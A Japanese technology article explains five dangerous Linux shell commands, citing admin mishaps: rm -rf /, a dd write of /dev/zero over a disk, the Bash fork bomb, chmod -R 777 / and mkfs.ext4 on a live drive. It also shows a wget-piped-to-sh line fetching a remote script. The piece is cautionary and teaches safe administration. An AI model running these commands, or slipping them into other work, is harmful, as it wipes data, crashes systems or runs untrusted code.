「Linux」で危険な5つのコマンド:誤用によるシステム破壊から学ぶ
「UNIX」(「Linux」の祖先)の開発者であるTerry Lambert氏は、「ユーザーが自分の足を撃つのを止めるのは、UNIXの仕事ではない。ユーザーがそうすることを選択した場合に、最も効率的な方法で弾丸を足に命中させるのがUNIXの仕事だ」と述べた。この発言は、LinuxとUNIXの仕組みを正確に言い表している。
「GNOME」や「KDE」「Cinnamon」などのデスクトップでグラフィカルなLinuxアプリケーションを使用している人は、このような問題について心配しなくてもよい。これらのデスクトップには、安全ベルトとショルダーストラップが付属しているからだ。グラフィカルユーザーインターフェース(GUI)からLinuxマシンを破壊するのは、極めて大変な作業になるだろう。
ただし、頻繁にシェルコマンドを使用したり、シェルスクリプトを作成したりするLinux管理者やパワーユーザーは、間違ったコマンドを間違ったタイミングで使用したことが原因で、コンピューターの復旧に忙殺される可能性もある。読者の皆さんは、本記事で紹介するコマンドを自宅やオフィス、実稼働システムで絶対に使用しないように注意してほしい。
-
重要なコマンドである「rm -rf /」 これは、すべてのLinux管理者が知っている(または、最低でも知っておくべき)コマンドだ。「rm」は単体でも非常に便利で、頑固なファイルも削除できる。ただし、「-r」(すべてのサブディレクトリーの再帰的な削除を強制する)および「-f」(読み取り専用ファイルを確認なしで強制的に削除する)の2つのオプションと組み合わせると、トラブルを招くことになる。それを「/」(ルートディレクトリー)に対して実行すると、ドライブ全体のデータがすべて消去される。これは、システム管理者のミスに関するジョークのオチとして使われるが、実際に起きてしまうこともある。あるユーザーは次のように告白している。「私がこれまでに犯した最悪のミスの1つは、rm -r /this/is/my/folder/[ACCIDENTAL_SPACE]と入力しているときに誤ってスペースバーを押してしまったことだ。信じられないことに、『Enter』キーを押したときでさえ、そのことに気づいていなかった」このケースでは、「」(ワイルドカード)を使用したため、そのディレクトリーにあるすべてのものが削除された。もうファイルは1つも残っていなかった。シェルには、このミスを挽回するゴミ箱はない。最近のほとんどのシステムでは、このミスを防ぐために、大きな文字で警告が表示される。しかし、忙しくキーボードをたたいているときや、ほかのことに気を取られたときに、システムを完全に消去するコマンドを誤って入力してしまうこともある。筆者もそのようなミスを実際に経験し、テープからシステム全体を復元することを余儀なくされたことがある(ご存じない方もいるかもしれないが、これは絶対にやりたくない作業だ)。
-
「dd」はdisk destroyer(ディスクを破壊するコマンド)の略である これは冗談だが、事実でもおかしくないように思える。ddを使えば、コンピューター上のほぼすべてのもののデジタルコピーを作成できる。適切に使用すれば、強力かつ便利で高速だ。しかし、使い方を誤ると、ファイルシステムを一瞬で破壊してしまう可能性がある。筆者が聞いた限りでは、ddがドライブやファイルに大損害を与えた事例はrmよりもはるかに多い。これは、ddが独自のコマンド構文を持っているためだ。指の記憶が原因で、間違ったオプションを入力すると、ファイルシステムに大きな損害を与えてしまう可能性がある。実際、Open Source Initiativeの共同創設者でハッカーのEric S. Raymond氏は、典型的なUNIX/Linuxコマンド構文よりもIBM JCLによく似ているddのコマンド構文について、「明らかないたずら」だったのではないかと推測している。残念ながら、たとえ冗談だとしても、ずっと存続するのは悪い冗談だ。例として、以下のコマンドを見てみよう。dd if=/dev/zero of=/dev/hda このコマンドは、無限のゼロを出力する特殊なファイルからデータを取得して、ハードドライブ全体に書き込む。ばかげているように聞こえるかもしれないが、/dev/zeroには実際に用途がある。例えば、パーティション内の未使用の領域をゼロで埋めるのに使うことが可能だ。これにより、パーティションを転送したり、バックアップしたりする必要がある場合に、パーティションイメージを大幅に小さくできる。書き込むデータはゼロでなくても構わない。ddはさまざまな面白い方法で、ドライブ上の良いデータを悪いデータに置き換える。このコマンドは、役に立つこともあるが、腕時計をハンマーで修理しようとするようなものだ。迅速で効率的だが、破壊的でもある。ソリッドステートドライブ(SSD)のデータを消去したい場合は、より現代的なコマンドがある。「blkdiscard」コマンドだ。このコマンドを使えば、デバイスのセクターとドライブ上のすべてのデータを破棄できる。混乱を引き起こすのは、50年前から存在するddのような古いコマンドだけではない。
-
プロセスを増殖させる「:(){ :|:& };:」 タイプミスのように見えるが、このコマンドは悪名高い「Bash」のfork爆弾である。Linuxのプロセステーブルを埋め尽くすサービス拒否(DoS)攻撃だ。被害の度合いはシステム制限の設定と実行者によって異なるが、多くの場合、プロセッサーが限界に達し、システムを再起動するしかなくなる。このミスを犯すのは、プログラミングの授業でforkの使い方を学んでいる受講者であることが多い。誰かをひどい目に遭わせる目的で、このコマンドを内部に隠した悪質なシェルスクリプトを見たこともある。便利そうなシェルスクリプトを実行する前に、スクリプトを確認してサンドボックスで実行し、疑わしいものが隠されていないか確認することをお薦めする。だまされやすいシステム管理者が以下のようなコマンドを使って、一見便利そうなスクリプトを入手するのを見たことがある。wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh このコマンドはスクリプトをダウンロードし、シェルに送信して実行する。面倒なことは何もなさそうだ。だが、それは誤りである。そのスクリプトはマルウェアに感染している可能性がある。確かに、LinuxはデフォルトでほとんどのOSよりも安全だが、未知のコードをrootとして実行した場合は、何が起きてもおかしくない。危険なのは、悪意ある人々だけではない。スクリプト作成者の潜在的なミスも同様に有害である。時間をかけて徹底的にチェックしなかったせいで、ほかの誰かが作成した、デバッグされていないコードに痛い目に遭わされる可能性もある。
-
不必要な権限を付与してしまう「chmod -R 777 /」 chmod -R 777 /コマンドを実行するのは、治安の悪い地域で玄関のドアを開けっ放しにするのと同じことだ。「chmod」は、すべてのファイルとディレクトリーのアクセス権限を再帰的に変更して、システム上のすべてのものに対する読み取りと書き込み、実行のアクセス権限をすべての人に付与するのに使用される。ハッカーにとっては夢のようなコマンドであり、システム管理者にとっては悪夢だ。このコマンドは、ユーザーが本来なら実行できないプログラムを実行できるようにするために使用されることが多い。皆さんもご存じのように、プログラムを実行する権限を誰かに付与しないのには、通常、妥当な理由がある。このコマンドは、コンテナー化されたアプリで悪用されることが最も多い。「Docker」コンテナーはデフォルトでは制限された権限で実行される。リスクを軽減して、セキュリティを向上させるためだ。しかし、怠惰なプログラマーが作成したコンテナーでは、ユーザーがrootになっていることが多い。これは、chmod -R 777コマンドと同様、すべてがrootとして実行されることを意味するので、セキュリティ上の問題を招くだけだ。
-
ディスクをフォーマットする「mkfs.ext4 /dev/sda」 順番は最後になったが、mkfs.ext4 /dev/sdaも重要なコマンドだ。このコマンドは、対象のドライブやパーティションをフォーマットし、新しい「ext4」ファイルシステムを作成する。火炎放射器を使用して、机を片付けるようなものだ。混乱は解消されるが、その過程で重要なものがいくつか失われる可能性もある。もちろん、実際にドライブをフォーマットしたい場合もある。問題は、フォーマット対象のドライブとして、新しいsda3 SSDドライブではなく、すべてのホームディレクトリーが格納されているsda2などのドライブを誤って入力してしまうと、自分とすべてのユーザーの個人的なファイルが消去されてしまうことだ。
Linuxならではの自由度の高さ 大いなる力には大いなる責任が伴うことを忘れないでほしい。Linuxには、ユーザーがシステムでほぼどんなことでも実行できる自由があるため、誤ってシステムを破壊してしまうリスクもある。コマンドを使うときは、必ず入念にチェックするようにしてほしい。システムにとって重要な操作を実行する場合は、なおさらだ。1970年代からUNIXを使用しており、Linus Torvalds氏がフィンランドで趣味のプロジェクトに取り組む大学生だった頃からLinuxを取り上げてきたテクノロジージャーナリストとして言わせてもらうと、自分が使用しているコマンドを理解することの重要性は、いくら強調しても足りないくらいだ。本記事で紹介した5つのコマンドは、潜在的に危険なLinuxコマンドのほんの一部に過ぎない。今後、怪しげなオンラインフォーラムからコマンドをコピー&ペーストしたい誘惑に駆られたときは、少し立ち止まって、そのコマンドが実際に何をするのかを調べてほしい。そうすることで、自分のデータとシステム、精神衛生を守れるはずだ。